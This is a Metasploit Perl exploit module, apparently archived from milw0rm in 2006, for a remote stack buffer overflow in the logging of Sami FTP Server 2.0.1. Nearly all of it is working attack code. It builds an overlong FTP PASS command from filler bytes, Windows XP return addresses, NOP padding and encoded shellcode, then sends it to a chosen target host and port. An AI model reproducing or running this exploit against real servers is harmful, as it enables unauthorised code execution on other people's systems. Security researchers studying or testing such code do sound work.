KarjaSoft Sami FTP Server 2.0.1 - Remote Buffer Overflow (Metasploit)

##
# Written by redsand
#
# This is simple, look for a {call,jmp} esp
##

package Msf::Exploit::pmsoftware_samftpd;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'     => 'PMSoftware Samftpd Remote Exploit',
	'Version'  => '$Revision: 1.0 $',
	'Authors'  => [ '<redsand [at] blacksecurity.org>', ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
	'Priv'  => 0,

	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 21],
		'USER'  => [1, 'DATA', 'Username', 'redsand0wnedj00'],
	  },

	'Payload'  =>
	  {
		'Space' => 1024,
		'BadChars'  => "\x00\x0a\x0d\x20",
		'Keys' => ['+ws2ord'],
	#	'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
	  },

	'Description'  =>  Pex::Text::Freeform(qq{
		This module exploits a stack overflow in the log handler of Samftpd

}),

	'Refs'  =>
	  [
		['SA18574',   'secunia.com/advisories/SA18574'],
	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
		['SamFtpd PmSoftware.exe WinXP SP0/1 Eng.', 0x71ab7bfb],
		['SamFtpd PmSoftware.exe WinXP SP2 Eng.', 0x77daaccf],
	  ],

	'Keys'  => ['samftpd'],

	'DisclosureDate' => 'Jan 25 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];
	my $header	= "\x81\xc4\xff\xef\xff\xff\x44";

	if (! $self->InitNops(30)) {
		$self->PrintLine("[*] Failed to initialize the NOP module.");
		return;
	}

	my $evil = ("PASS ");
	$evil .= "A"x219;

	$evil .= pack("V", $target->[1]) x 5 ;
	$evil .= "\x90\x90" x 5; # little bit of padding
	$evil .= $shellcode;
	$evil .= "\x0a\x0d";

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
	  );

	$self->PrintLine(sprintf ("[*] PMSoftware Samftpd Remote Exploit by redsand\@blacksecurity.org"));

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	#$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[4]));

	my $r = $s->Recv(-1, 30);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;
	$self->PrintLine("[*] $r");

	$self->PrintLine("[*] Login as " .$self->GetVar('USER'));
	$s->Send("USER ".$self->GetVar('USER')."\r\n");
	$r = $s->Recv(-1, 10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

	$self->PrintLine("[*] Sending evil buffer....");
	$s->Send($evil);
	#$r = $s->Recv(-1, 10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print("[*] $r");
	return;

}

# milw0rm.com [2006-01-25]